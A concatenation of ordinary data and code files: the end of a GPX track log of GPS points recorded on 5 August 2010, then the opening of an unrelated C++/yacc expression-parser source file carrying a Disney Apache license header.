<time>2010-08-05T14:34:22Z</time>
</trkpt>
<trkpt lat="45.769677227" lon="14.356159139">
<time>2010-08-05T14:34:57Z</time>
</trkpt>
<trkpt lat="45.769613190" lon="14.356229380">
<time>2010-08-05T14:35:24Z</time>
</trkpt>
<trkpt lat="45.769536914" lon="14.356298028">
<time>2010-08-05T14:35:33Z</time>
</trkpt>
<trkpt lat="45.769446557" lon="14.356357036">
<time>2010-08-05T14:35:42Z</time>
</trkpt>
<trkpt lat="45.769356284" lon="14.356414033">
<time>2010-08-05T14:35:51Z</time>
</trkpt>
<trkpt lat="45.769272381" lon="14.356455440">
<time>2010-08-05T14:35:59Z</time>
</trkpt>
<trkpt lat="45.769192418" lon="14.356506485">
<time>2010-08-05T14:36:08Z</time>
</trkpt>
<trkpt lat="45.769169452" lon="14.356551832">
<time>2010-08-05T14:36:37Z</time>
</trkpt>
<trkpt lat="45.769182947" lon="14.356666999">
<time>2010-08-05T14:36:47Z</time>
</trkpt>
<trkpt lat="45.769151682" lon="14.356751824">
<time>2010-08-05T14:37:08Z</time>
</trkpt>
<trkpt lat="45.769066270" lon="14.356757440">
<time>2010-08-05T14:37:28Z</time>
</trkpt>
<trkpt lat="45.769023858" lon="14.356815610">
<time>2010-08-05T14:40:44Z</time>
</trkpt>
<trkpt lat="45.768938530" lon="14.356787531">
<time>2010-08-05T14:40:57Z</time>
</trkpt>
<trkpt lat="45.768877426" lon="14.356692648">
<time>2010-08-05T14:41:43Z</time>
</trkpt>
<trkpt lat="45.768804085" lon="14.356687954">
<time>2010-08-05T14:41:55Z</time>
</trkpt>
<trkpt lat="45.768726217" lon="14.356617630">
<time>2010-08-05T14:42:18Z</time>
</trkpt>
<trkpt lat="45.768643236" lon="14.356583264">
<time>2010-08-05T14:42:28Z</time>
</trkpt>
<trkpt lat="45.768552292" lon="14.356551664">
<time>2010-08-05T14:42:41Z</time>
</trkpt>
<trkpt lat="45.768532595" lon="14.356432641">
<time>2010-08-05T14:42:50Z</time>
</trkpt>
<trkpt lat="45.768547095" lon="14.356288640">
<time>2010-08-05T14:43:04Z</time>
</trkpt>
<trkpt lat="45.768509628" lon="14.356174478">
<time>2010-08-05T14:43:12Z</time>
</trkpt>
<trkpt lat="45.768411979" lon="14.356160816">
<time>2010-08-05T14:43:50Z</time>
</trkpt>
<trkpt lat="45.768287592" lon="14.356270535">
<time>2010-08-05T14:44:45Z</time>
</trkpt>
<trkpt lat="45.768202767" lon="14.356327029">
<time>2010-08-05T14:44:56Z</time>
</trkpt>
<trkpt lat="45.768117523" lon="14.356315462">
<time>2010-08-05T14:45:06Z</time>
</trkpt>
<trkpt lat="45.768031105" lon="14.356269529">
<time>2010-08-05T14:45:15Z</time>
</trkpt>
<trkpt lat="45.767948879" lon="14.356186548">
<time>2010-08-05T14:45:24Z</time>
</trkpt>
<trkpt lat="45.767872520" lon="14.356098538">
<time>2010-08-05T14:45:33Z</time>
</trkpt>
<trkpt lat="45.767792473" lon="14.356042296">
<time>2010-08-05T14:45:41Z</time>
</trkpt>
<trkpt lat="45.767695075" lon="14.355997872">
<time>2010-08-05T14:45:50Z</time>
</trkpt>
<trkpt lat="45.767609915" lon="14.355941545">
<time>2010-08-05T14:45:58Z</time>
</trkpt>
<trkpt lat="45.767528694" lon="14.355887398">
<time>2010-08-05T14:46:06Z</time>
</trkpt>
<trkpt lat="45.767441522" lon="14.355836436">
<time>2010-08-05T14:46:14Z</time>
</trkpt>
<trkpt lat="45.767348064" lon="14.355794108">
<time>2010-08-05T14:46:22Z</time>
</trkpt>
<trkpt lat="45.767251085" lon="14.355773237">
<time>2010-08-05T14:46:30Z</time>
</trkpt>
<trkpt lat="45.767154777" lon="14.355754713">
<time>2010-08-05T14:46:38Z</time>
</trkpt>
<trkpt lat="45.767059308" lon="14.355742307">
<time>2010-08-05T14:46:46Z</time>
</trkpt>
<trkpt lat="45.766966939" lon="14.355720598">
<time>2010-08-05T14:46:54Z</time>
</trkpt>
<trkpt lat="45.766870547" lon="14.355696207">
<time>2010-08-05T14:47:03Z</time>
</trkpt>
<trkpt lat="45.766783459" lon="14.355635773">
<time>2010-08-05T14:47:11Z</time>
</trkpt>
<trkpt lat="45.766693018" lon="14.355577519">
<time>2010-08-05T14:47:19Z</time>
</trkpt>
<trkpt lat="45.766603583" lon="14.355516415">
<time>2010-08-05T14:47:27Z</time>
</trkpt>
<trkpt lat="45.766510544" lon="14.355464783">
<time>2010-08-05T14:47:36Z</time>
</trkpt>
<trkpt lat="45.766405938" lon="14.355474003">
<time>2010-08-05T14:47:55Z</time>
</trkpt>
<trkpt lat="45.766316839" lon="14.355442068">
<time>2010-08-05T14:48:07Z</time>
</trkpt>
<trkpt lat="45.766348019" lon="14.355553379">
<time>2010-08-05T14:48:49Z</time>
</trkpt>
<trkpt lat="45.766360676" lon="14.355662260">
<time>2010-08-05T14:48:59Z</time>
</trkpt>
<trkpt lat="45.766296471" lon="14.355766783">
<time>2010-08-05T14:49:12Z</time>
</trkpt>
<trkpt lat="45.766229834" lon="14.355859822">
<time>2010-08-05T14:49:23Z</time>
</trkpt>
<trkpt lat="45.766162528" lon="14.355964931">
<time>2010-08-05T14:49:31Z</time>
</trkpt>
<trkpt lat="45.766103938" lon="14.356076159">
<time>2010-08-05T14:49:39Z</time>
</trkpt>
<trkpt lat="45.766047528" lon="14.356190655">
<time>2010-08-05T14:49:48Z</time>
</trkpt>
<trkpt lat="45.765984748" lon="14.356281515">
<time>2010-08-05T14:49:56Z</time>
</trkpt>
<trkpt lat="45.765921548" lon="14.356382936">
<time>2010-08-05T14:50:07Z</time>
</trkpt>
<trkpt lat="45.765888439" lon="14.356514532">
<time>2010-08-05T14:50:16Z</time>
</trkpt>
<trkpt lat="45.765891457" lon="14.356643446">
<time>2010-08-05T14:50:34Z</time>
</trkpt>
<trkpt lat="45.765914591" lon="14.356763558">
<time>2010-08-05T14:50:49Z</time>
</trkpt>
<trkpt lat="45.765939821" lon="14.356893310">
<time>2010-08-05T14:50:57Z</time>
</trkpt>
<trkpt lat="45.765952058" lon="14.357034126">
<time>2010-08-05T14:51:06Z</time>
</trkpt>
<trkpt lat="45.765955662" lon="14.357175026">
<time>2010-08-05T14:51:15Z</time>
</trkpt>
<trkpt lat="45.765975527" lon="14.357300419">
<time>2010-08-05T14:51:23Z</time>
</trkpt>
<trkpt lat="45.765997069" lon="14.357423885">
<time>2010-08-05T14:51:31Z</time>
</trkpt>
<trkpt lat="45.766027579" lon="14.357544836">
<time>2010-08-05T14:51:39Z</time>
</trkpt>
<trkpt lat="45.766058424" lon="14.357671989">
<time>2010-08-05T14:51:48Z</time>
</trkpt>
<trkpt lat="45.766093126" lon="14.357791012">
<time>2010-08-05T14:52:02Z</time>
</trkpt>
<trkpt lat="45.766090443" lon="14.357788749">
<time>2010-08-05T14:52:23Z</time>
</trkpt>
<trkpt lat="45.766053898" lon="14.357882291">
<time>2010-08-05T14:53:26Z</time>
</trkpt>
<trkpt lat="45.766070997" lon="14.357980527">
<time>2010-08-05T14:53:42Z</time>
</trkpt>
<trkpt lat="45.766096059" lon="14.358057389">
<time>2010-08-05T14:54:12Z</time>
</trkpt>
<trkpt lat="45.766129671" lon="14.358170880">
<time>2010-08-05T14:54:20Z</time>
</trkpt>
<trkpt lat="45.766103100" lon="14.358292501">
<time>2010-08-05T14:54:29Z</time>
</trkpt>
<trkpt lat="45.766075272" lon="14.358421164">
<time>2010-08-05T14:54:37Z</time>
</trkpt>
<trkpt lat="45.766054988" lon="14.358547311">
<time>2010-08-05T14:54:44Z</time>
</trkpt>
<trkpt lat="45.766025316" lon="14.358667256">
<time>2010-08-05T14:54:51Z</time>
</trkpt>
<trkpt lat="45.766022718" lon="14.358777311">
<time>2010-08-05T14:55:51Z</time>
</trkpt>
<trkpt lat="45.766049288" lon="14.358915780">
<time>2010-08-05T14:56:00Z</time>
</trkpt>
<trkpt lat="45.766078793" lon="14.359055925">
<time>2010-08-05T14:56:09Z</time>
</trkpt>
<trkpt lat="45.766111817" lon="14.359177044">
<time>2010-08-05T14:56:17Z</time>
</trkpt>
<trkpt lat="45.766153894" lon="14.359309645">
<time>2010-08-05T14:56:26Z</time>
</trkpt>
<trkpt lat="45.766190439" lon="14.359432440">
<time>2010-08-05T14:56:33Z</time>
</trkpt>
<trkpt lat="45.766230673" lon="14.359567473">
<time>2010-08-05T14:56:41Z</time>
</trkpt>
<trkpt lat="45.766320024" lon="14.359635953">
<time>2010-08-05T14:56:50Z</time>
</trkpt>
<trkpt lat="45.766417757" lon="14.359656069">
<time>2010-08-05T14:56:58Z</time>
</trkpt>
<trkpt lat="45.766501743" lon="14.359691609">
<time>2010-08-05T14:57:06Z</time>
</trkpt>
<trkpt lat="45.766521357" lon="14.359831335">
<time>2010-08-05T14:57:14Z</time>
</trkpt>
<trkpt lat="45.766533092" lon="14.359962847">
<time>2010-08-05T14:57:21Z</time>
</trkpt>
<trkpt lat="45.766544826" lon="14.360095030">
<time>2010-08-05T14:57:28Z</time>
</trkpt>
<trkpt lat="45.766549520" lon="14.360246742">
<time>2010-08-05T14:57:37Z</time>
</trkpt>
<trkpt lat="45.766525464" lon="14.360364089">
<time>2010-08-05T14:57:44Z</time>
</trkpt>
<trkpt lat="45.766478945" lon="14.360491158">
<time>2010-08-05T14:57:52Z</time>
</trkpt>
<trkpt lat="45.766446758" lon="14.360614205">
<time>2010-08-05T14:58:00Z</time>
</trkpt>
<trkpt lat="45.766479615" lon="14.360735575">
<time>2010-08-05T14:58:11Z</time>
</trkpt>
<trkpt lat="45.766559914" lon="14.360776898">
<time>2010-08-05T14:58:24Z</time>
</trkpt>
<trkpt lat="45.766651779" lon="14.360730127">
<time>2010-08-05T14:58:31Z</time>
</trkpt>
<trkpt lat="45.766742388" lon="14.360683607">
<time>2010-08-05T14:58:38Z</time>
</trkpt>
<trkpt lat="45.766840708" lon="14.360630047">
<time>2010-08-05T14:58:46Z</time>
</trkpt>
<trkpt lat="45.766935255" lon="14.360577241">
<time>2010-08-05T14:58:53Z</time>
</trkpt>
<trkpt lat="45.767224850" lon="14.360401221">
<time>2010-08-05T14:59:15Z</time>
</trkpt>
<trkpt lat="45.767318141" lon="14.360365933">
<time>2010-08-05T14:59:22Z</time>
</trkpt>
<trkpt lat="45.767415874" lon="14.360308684">
<time>2010-08-05T14:59:30Z</time>
</trkpt>
<trkpt lat="45.767510673" lon="14.360244479">
<time>2010-08-05T14:59:37Z</time>
</trkpt>
<trkpt lat="45.767606981" lon="14.360204581">
<time>2010-08-05T14:59:44Z</time>
</trkpt>
<trkpt lat="45.767699936" lon="14.360150099">
<time>2010-08-05T14:59:51Z</time>
</trkpt>
<trkpt lat="45.767789204" lon="14.360092515">
<time>2010-08-05T14:59:58Z</time>
</trkpt>
<trkpt lat="45.767891128" lon="14.360040715">
<time>2010-08-05T15:00:05Z</time>
</trkpt>
<trkpt lat="45.767986178" lon="14.359995034">
<time>2010-08-05T15:00:12Z</time>
</trkpt>
<trkpt lat="45.768079218" lon="14.359925045">
<time>2010-08-05T15:00:19Z</time>
</trkpt>
<trkpt lat="45.768169910" lon="14.359869137">
<time>2010-08-05T15:00:26Z</time>
</trkpt>
<trkpt lat="45.768261021" lon="14.359815493">
<time>2010-08-05T15:00:33Z</time>
</trkpt>
<trkpt lat="45.768350959" lon="14.359758329">
<time>2010-08-05T15:00:40Z</time>
</trkpt>
<trkpt lat="45.768450033" lon="14.359702338">
<time>2010-08-05T15:00:47Z</time>
</trkpt>
<trkpt lat="45.768536786" lon="14.359647771">
<time>2010-08-05T15:00:54Z</time>
</trkpt>
<trkpt lat="45.768630495" lon="14.359595804">
<time>2010-08-05T15:01:01Z</time>
</trkpt>
<trkpt lat="45.768726803" lon="14.359546769">
<time>2010-08-05T15:01:08Z</time>
</trkpt>
<trkpt lat="45.768820010" lon="14.359492119">
<time>2010-08-05T15:01:15Z</time>
</trkpt>
<trkpt lat="45.768925622" lon="14.359449288">
<time>2010-08-05T15:01:22Z</time>
</trkpt>
<trkpt lat="45.769021930" lon="14.359394386">
<time>2010-08-05T15:01:29Z</time>
</trkpt>
<trkpt lat="45.769122010" lon="14.359344598">
<time>2010-08-05T15:01:36Z</time>
</trkpt>
<trkpt lat="45.769292163" lon="14.359244769">
<time>2010-08-05T15:01:48Z</time>
</trkpt>
<trkpt lat="45.769382687" lon="14.359183414">
<time>2010-08-05T15:01:54Z</time>
</trkpt>
<trkpt lat="45.769459801" lon="14.359140582">
<time>2010-08-05T15:02:01Z</time>
</trkpt>
<trkpt lat="45.769552672" lon="14.359091381">
<time>2010-08-05T15:02:08Z</time>
</trkpt>
<trkpt lat="45.769652836" lon="14.359047711">
<time>2010-08-05T15:02:15Z</time>
</trkpt>
<trkpt lat="45.769740511" lon="14.359010328">
<time>2010-08-05T15:02:21Z</time>
</trkpt>
<trkpt lat="45.769836819" lon="14.358967999">
<time>2010-08-05T15:02:28Z</time>
</trkpt>
<trkpt lat="45.769914687" lon="14.358929778">
<time>2010-08-05T15:02:35Z</time>
</trkpt>
<trkpt lat="45.770003702" lon="14.358887114">
<time>2010-08-05T15:02:42Z</time>
</trkpt>
<trkpt lat="45.770254154" lon="14.358710088">
<time>2010-08-05T15:03:11Z</time>
</trkpt>
<trkpt lat="45.770357922" lon="14.358660635">
<time>2010-08-05T15:03:17Z</time>
</trkpt>
<trkpt lat="45.770934345" lon="14.358443040">
<time>2010-08-05T15:04:00Z</time>
</trkpt>
<trkpt lat="45.771037946" lon="14.358421247">
<time>2010-08-05T15:04:08Z</time>
</trkpt>
<trkpt lat="45.771127967" lon="14.358289903">
<time>2010-08-05T15:04:19Z</time>
</trkpt>
<trkpt lat="45.771174487" lon="14.358226871">
<time>2010-08-05T15:04:29Z</time>
</trkpt>
<trkpt lat="45.771373473" lon="14.358056802">
<time>2010-08-05T15:04:41Z</time>
</trkpt>
<trkpt lat="45.771503728" lon="14.358019670">
<time>2010-08-05T15:04:48Z</time>
</trkpt>
<trkpt lat="45.771614201" lon="14.357968373">
<time>2010-08-05T15:04:55Z</time>
</trkpt>
<trkpt lat="45.771710845" lon="14.357919926">
<time>2010-08-05T15:05:01Z</time>
</trkpt>
<trkpt lat="45.771826180" lon="14.357857900">
<time>2010-08-05T15:05:08Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #3</name>
<number>2</number>
<trkseg>
<trkpt lat="45.771829281" lon="14.357537627">
<time>2010-08-05T15:11:36Z</time>
</trkpt>
<trkpt lat="45.771894827" lon="14.357712474">
<time>2010-08-05T15:12:07Z</time>
</trkpt>
<trkpt lat="45.771840429" lon="14.357796963">
<time>2010-08-05T15:12:13Z</time>
</trkpt>
<trkpt lat="45.771743115" lon="14.357871311">
<time>2010-08-05T15:12:16Z</time>
</trkpt>
<trkpt lat="45.771622667" lon="14.357950101">
<time>2010-08-05T15:12:19Z</time>
</trkpt>
<trkpt lat="45.771533903" lon="14.358007936">
<time>2010-08-05T15:12:21Z</time>
</trkpt>
<trkpt lat="45.771430973" lon="14.358066106">
<time>2010-08-05T15:12:23Z</time>
</trkpt>
<trkpt lat="45.771324607" lon="14.358126372">
<time>2010-08-05T15:12:25Z</time>
</trkpt>
<trkpt lat="45.771206589" lon="14.358193427">
<time>2010-08-05T15:12:27Z</time>
</trkpt>
<trkpt lat="45.771082956" lon="14.358269367">
<time>2010-08-05T15:12:29Z</time>
</trkpt>
<trkpt lat="45.770953204" lon="14.358345978">
<time>2010-08-05T15:12:31Z</time>
</trkpt>
<trkpt lat="45.770695461" lon="14.358496601">
<time>2010-08-05T15:12:35Z</time>
</trkpt>
<trkpt lat="45.770566463" lon="14.358569104">
<time>2010-08-05T15:12:37Z</time>
</trkpt>
<trkpt lat="45.770435790" lon="14.358639680">
<time>2010-08-05T15:12:39Z</time>
</trkpt>
<trkpt lat="45.770300003" lon="14.358712351">
<time>2010-08-05T15:12:41Z</time>
</trkpt>
<trkpt lat="45.770154744" lon="14.358786950">
<time>2010-08-05T15:12:43Z</time>
</trkpt>
<trkpt lat="45.770012503" lon="14.358863980">
<time>2010-08-05T15:12:45Z</time>
</trkpt>
<trkpt lat="45.769874034" lon="14.358942099">
<time>2010-08-05T15:12:47Z</time>
</trkpt>
<trkpt lat="45.769732296" lon="14.359018458">
<time>2010-08-05T15:12:49Z</time>
</trkpt>
<trkpt lat="45.769590810" lon="14.359093560">
<time>2010-08-05T15:12:51Z</time>
</trkpt>
<trkpt lat="45.769447898" lon="14.359171093">
<time>2010-08-05T15:12:53Z</time>
</trkpt>
<trkpt lat="45.769310771" lon="14.359248290">
<time>2010-08-05T15:12:55Z</time>
</trkpt>
<trkpt lat="45.769169619" lon="14.359329343">
<time>2010-08-05T15:12:57Z</time>
</trkpt>
<trkpt lat="45.769021008" lon="14.359407965">
<time>2010-08-05T15:12:59Z</time>
</trkpt>
<trkpt lat="45.768874073" lon="14.359487928">
<time>2010-08-05T15:13:01Z</time>
</trkpt>
<trkpt lat="45.768733257" lon="14.359568143">
<time>2010-08-05T15:13:03Z</time>
</trkpt>
<trkpt lat="45.768587412" lon="14.359647604">
<time>2010-08-05T15:13:05Z</time>
</trkpt>
<trkpt lat="45.768448357" lon="14.359729160">
<time>2010-08-05T15:13:07Z</time>
</trkpt>
<trkpt lat="45.768309217" lon="14.359810464">
<time>2010-08-05T15:13:09Z</time>
</trkpt>
<trkpt lat="45.768167395" lon="14.359891182">
<time>2010-08-05T15:13:11Z</time>
</trkpt>
<trkpt lat="45.767732793" lon="14.360125121">
<time>2010-08-05T15:13:17Z</time>
</trkpt>
<trkpt lat="45.767598012" lon="14.360196032">
<time>2010-08-05T15:13:19Z</time>
</trkpt>
<trkpt lat="45.767468764" lon="14.360270463">
<time>2010-08-05T15:13:21Z</time>
</trkpt>
<trkpt lat="45.767328702" lon="14.360341541">
<time>2010-08-05T15:13:23Z</time>
</trkpt>
<trkpt lat="45.767197357" lon="14.360415721">
<time>2010-08-05T15:13:25Z</time>
</trkpt>
<trkpt lat="45.766938441" lon="14.360558214">
<time>2010-08-05T15:13:29Z</time>
</trkpt>
<trkpt lat="45.766806174" lon="14.360629544">
<time>2010-08-05T15:13:31Z</time>
</trkpt>
<trkpt lat="45.766672567" lon="14.360703137">
<time>2010-08-05T15:13:33Z</time>
</trkpt>
<trkpt lat="45.766536361" lon="14.360778239">
<time>2010-08-05T15:13:35Z</time>
</trkpt>
<trkpt lat="45.766401496" lon="14.360855101">
<time>2010-08-05T15:13:37Z</time>
</trkpt>
<trkpt lat="45.766264368" lon="14.360928023">
<time>2010-08-05T15:13:39Z</time>
</trkpt>
<trkpt lat="45.765995979" lon="14.361066325">
<time>2010-08-05T15:13:43Z</time>
</trkpt>
<trkpt lat="45.765607562" lon="14.361273022">
<time>2010-08-05T15:13:49Z</time>
</trkpt>
<trkpt lat="45.765494825" lon="14.361338569">
<time>2010-08-05T15:13:51Z</time>
</trkpt>
<trkpt lat="45.765420813" lon="14.361394057">
<time>2010-08-05T15:13:54Z</time>
</trkpt>
<trkpt lat="45.765329115" lon="14.361451389">
<time>2010-08-05T15:13:57Z</time>
</trkpt>
<trkpt lat="45.765229706" lon="14.361513834">
<time>2010-08-05T15:14:00Z</time>
</trkpt>
<trkpt lat="45.765106240" lon="14.361578459">
<time>2010-08-05T15:14:03Z</time>
</trkpt>
<trkpt lat="45.765017979" lon="14.361623637">
<time>2010-08-05T15:14:05Z</time>
</trkpt>
<trkpt lat="45.764924018" lon="14.361672420">
<time>2010-08-05T15:14:07Z</time>
</trkpt>
<trkpt lat="45.764826788" lon="14.361722460">
<time>2010-08-05T15:14:09Z</time>
</trkpt>
<trkpt lat="45.764730563" lon="14.361772332">
<time>2010-08-05T15:14:11Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #4</name>
<number>3</number>
<trkseg>
<trkpt lat="45.744161373" lon="14.366770713">
<time>2010-08-05T15:24:25Z</time>
</trkpt>
<trkpt lat="45.744275115" lon="14.367124261">
<time>2010-08-05T15:24:46Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #5</name>
<number>4</number>
<trkseg>
<trkpt lat="45.756222848" lon="14.362483202">
<time>2010-08-05T15:38:49Z</time>
</trkpt>
<trkpt lat="45.756751159" lon="14.362870194">
<time>2010-08-05T15:39:00Z</time>
</trkpt>
<trkpt lat="45.756861884" lon="14.362882348">
<time>2010-08-05T15:39:02Z</time>
</trkpt>
<trkpt lat="45.757092135" lon="14.362901459">
<time>2010-08-05T15:39:06Z</time>
</trkpt>
<trkpt lat="45.757204369" lon="14.362898357">
<time>2010-08-05T15:39:08Z</time>
</trkpt>
<trkpt lat="45.757307382" lon="14.362893999">
<time>2010-08-05T15:39:10Z</time>
</trkpt>
<trkpt lat="45.757421125" lon="14.362896597">
<time>2010-08-05T15:39:12Z</time>
</trkpt>
<trkpt lat="45.757541573" lon="14.362893831">
<time>2010-08-05T15:39:14Z</time>
</trkpt>
<trkpt lat="45.757655064" lon="14.362874888">
<time>2010-08-05T15:39:16Z</time>
</trkpt>
<trkpt lat="45.760427546" lon="14.362401478">
<time>2010-08-05T15:40:00Z</time>
</trkpt>
<trkpt lat="45.761877364" lon="14.361265982">
<time>2010-08-05T15:40:02Z</time>
</trkpt>
<trkpt lat="45.761991357" lon="14.361384585">
<time>2010-08-05T15:40:04Z</time>
</trkpt>
<trkpt lat="45.762035865" lon="14.361502938">
<time>2010-08-05T15:40:06Z</time>
</trkpt>
<trkpt lat="45.762125552" lon="14.361626571">
<time>2010-08-05T15:40:08Z</time>
</trkpt>
<trkpt lat="45.762242815" lon="14.361744840">
<time>2010-08-05T15:40:10Z</time>
</trkpt>
<trkpt lat="45.762421936" lon="14.361864282">
<time>2010-08-05T15:40:12Z</time>
</trkpt>
<trkpt lat="45.762610948" lon="14.361959584">
<time>2010-08-05T15:40:14Z</time>
</trkpt>
<trkpt lat="45.762777831" lon="14.361999901">
<time>2010-08-05T15:40:16Z</time>
</trkpt>
<trkpt lat="45.762872128" lon="14.362014821">
<time>2010-08-05T15:40:17Z</time>
</trkpt>
<trkpt lat="45.762974555" lon="14.362019766">
<time>2010-08-05T15:40:18Z</time>
</trkpt>
<trkpt lat="45.764526129" lon="14.362022365">
<time>2010-08-05T15:40:33Z</time>
</trkpt>
<trkpt lat="45.764616737" lon="14.362026472">
<time>2010-08-05T15:40:34Z</time>
</trkpt>
<trkpt lat="45.764796613" lon="14.362013815">
<time>2010-08-05T15:40:36Z</time>
</trkpt>
<trkpt lat="45.764883701" lon="14.361985903">
<time>2010-08-05T15:40:37Z</time>
</trkpt>
<trkpt lat="45.765327271" lon="14.361827234">
<time>2010-08-05T15:40:42Z</time>
</trkpt>
<trkpt lat="45.765409498" lon="14.361785995">
<time>2010-08-05T15:40:43Z</time>
</trkpt>
<trkpt lat="45.765569592" lon="14.361700499">
<time>2010-08-05T15:40:45Z</time>
</trkpt>
<trkpt lat="45.765714180" lon="14.361620788">
<time>2010-08-05T15:40:47Z</time>
</trkpt>
<trkpt lat="45.765807554" lon="14.361560354">
<time>2010-08-05T15:40:49Z</time>
</trkpt>
<trkpt lat="45.765892128" lon="14.361486509">
<time>2010-08-05T15:40:51Z</time>
</trkpt>
<trkpt lat="45.766063454" lon="14.361364972">
<time>2010-08-05T15:40:55Z</time>
</trkpt>
<trkpt lat="45.766108297" lon="14.361186689">
<time>2010-08-05T15:41:25Z</time>
</trkpt>
<trkpt lat="45.765981395" lon="14.361239830">
<time>2010-08-05T15:41:30Z</time>
</trkpt>
<trkpt lat="45.765851894" lon="14.361306718">
<time>2010-08-05T15:41:33Z</time>
</trkpt>
<trkpt lat="45.765751731" lon="14.361357009">
<time>2010-08-05T15:41:35Z</time>
</trkpt>
<trkpt lat="45.765650813" lon="14.361408642">
<time>2010-08-05T15:41:37Z</time>
</trkpt>
<trkpt lat="45.765543692" lon="14.361463208">
<time>2010-08-05T15:41:39Z</time>
</trkpt>
<trkpt lat="45.765431877" lon="14.361527497">
<time>2010-08-05T15:41:41Z</time>
</trkpt>
<trkpt lat="45.765210344" lon="14.361650962">
<time>2010-08-05T15:41:45Z</time>
</trkpt>
<trkpt lat="45.765101211" lon="14.361713827">
<time>2010-08-05T15:41:47Z</time>
</trkpt>
<trkpt lat="45.764977410" lon="14.361781888">
<time>2010-08-05T15:41:49Z</time>
</trkpt>
<trkpt lat="45.764861321" lon="14.361847099">
<time>2010-08-05T15:41:51Z</time>
</trkpt>
<trkpt lat="45.764753949" lon="14.361919267">
<time>2010-08-05T15:41:53Z</time>
</trkpt>
<trkpt lat="45.764569882" lon="14.362011300">
<time>2010-08-05T15:43:37Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #6</name>
<number>5</number>
<trkseg>
<trkpt lat="45.791063569" lon="14.304568944">
<time>2010-08-05T15:58:31Z</time>
</trkpt>
<trkpt lat="45.790786548" lon="14.304461237">
<time>2010-08-05T16:01:52Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #7</name>
<number>6</number>
<trkseg>
<trkpt lat="45.790793588" lon="14.304350847">
<time>2010-08-05T16:04:51Z</time>
</trkpt>
<trkpt lat="45.791038508" lon="14.304463919">
<time>2010-08-05T16:05:04Z</time>
</trkpt>
</trkseg>
</trk>
<trk>
<name>ACTIVE LOG #8</name>
<number>7</number>
<trkseg>
<trkpt lat="45.791205810" lon="14.304538183">
<time>2010-08-05T16:05:37Z</time>
</trkpt>
<trkpt lat="45.791200362" lon="14.304576153">
<time>2010-08-05T16:06:14Z</time>
</trkpt>
<trkpt lat="45.791613003" lon="14.305045456">
<time>2010-08-05T16:07:15Z</time>
</trkpt>
<trkpt lat="45.791722974" lon="14.305189038">
<time>2010-08-05T16:09:56Z</time>
</trkpt>
<trkpt lat="45.791654494" lon="14.305112679">
<time>2010-08-05T16:10:10Z</time>
</trkpt>
<trkpt lat="45.791572770" lon="14.305221727">
<time>2010-08-05T16:12:38Z</time>
</trkpt>
<trkpt lat="45.791483251" lon="14.305581981">
<time>2010-08-05T16:15:46Z</time>
</trkpt>
<trkpt lat="45.791467996" lon="14.306011805">
<time>2010-08-05T16:18:17Z</time>
</trkpt>
<trkpt lat="45.791572854" lon="14.305863865">
<time>2010-08-05T16:19:36Z</time>
</trkpt>
<trkpt lat="45.791579140" lon="14.305707626">
<time>2010-08-05T16:20:09Z</time>
</trkpt>
<trkpt lat="45.791611411" lon="14.305528589">
<time>2010-08-05T16:20:37Z</time>
</trkpt>
<trkpt lat="45.791640747" lon="14.305215022">
<time>2010-08-05T16:21:03Z</time>
</trkpt>
<trkpt lat="45.791676957" lon="14.305106644">
<time>2010-08-05T16:22:03Z</time>
</trkpt>
<trkpt lat="45.791625325" lon="14.304988878">
<time>2010-08-05T16:22:13Z</time>
</trkpt>
<trkpt lat="45.791499596" lon="14.304793328">
<time>2010-08-05T16:22:32Z</time>
</trkpt>
<trkpt lat="45.791403623" lon="14.304738594">
<time>2010-08-05T16:22:42Z</time>
</trkpt>
<trkpt lat="45.791314188" lon="14.304685453">
<time>2010-08-05T16:22:52Z</time>
</trkpt>
<trkpt lat="45.791230621" lon="14.304628456">
<time>2010-08-05T16:23:02Z</time>
</trkpt>
<trkpt lat="45.791063821" lon="14.304496860">
<time>2010-08-05T16:23:24Z</time>
</trkpt>
<trkpt lat="45.790961813" lon="14.304458722">
<time>2010-08-05T16:23:35Z</time>
</trkpt>
<trkpt lat="45.790873384" lon="14.304442042">
</trkpt>
</trkseg>
</trk>
</gpx>
| {
"pile_set_name": "Github"
} |
/*
* Copyright Disney Enterprises, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License
* and the following modification to it: Section 6 Trademarks.
* deleted and replaced with:
*
* 6. Trademarks. This License does not grant permission to use the
* trade names, trademarks, service marks, or product names of the
* Licensor and its affiliates, except as required for reproducing
* the content of the NOTICE file.
*
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
*/
%{
#include <algorithm>
#include <vector>
#include <stdio.h>
#include <string>
#include <cstring>
#include <typeinfo>
#ifdef SEEXPR_USE_ANIMLIB
#include <animlib/AnimCurve.h>
#include <animlib/AnimKeyframe.h>
#else
#define UNUSED(x) (void)(x)
#endif
#include <SeExpr2/Platform.h>
#include <SeExpr2/Mutex.h>
#include "ExprSpecType.h"
#include "Editable.h"
#include "ExprDeepWater.h"
/******************
lexer declarations
******************/
#define SPEC_IS_NUMBER(x) \
(dynamic_cast<ExprSpecScalarNode*>(x) != 0)
#define SPEC_IS_VECTOR(x) \
(dynamic_cast<ExprSpecVectorNode*>(x) != 0)
#define SPEC_IS_STR(x) \
(dynamic_cast<ExprSpecStringNode*>(x) != 0)
// declarations of functions and data in ExprParser.y
int yylex();
int yypos();
extern int yy_start;
extern char* yytext;
struct yy_buffer_state;
yy_buffer_state* yy_scan_string(const char *str);
void yy_delete_buffer(yy_buffer_state*);
//#####################################
// Keep track of mini parse tree nodes
// temporary to the parse... all pointers deleted at end of parse
static std::vector<ExprSpecNode*> specNodes;
/// Remember the spec node, so we can delete it later
static ExprSpecNode* remember(ExprSpecNode* node)
{specNodes.push_back(node);return node;}
/// list of strings duplicated by lexer to avoid error mem leak
static std::vector<char*> tokens;
char* specRegisterToken(char* rawString)
{
char* tok=strdup(rawString);
tokens.push_back(tok);
return tok;
}
//######################################################################
// Expose parser API inputs/outputs to yacc as statics
// these are pointers to the arguments send into parse API
// made static here so the parser can see them in yacc actions
static std::vector<Editable*>* editables;
static std::vector<std::string>* variables;
static const char* ParseStr; // string being parsed
static std::string ParseError; // error (set from yyerror)
static ExprSpecNode* ParseResult; // must set result here since yyparse can't return it
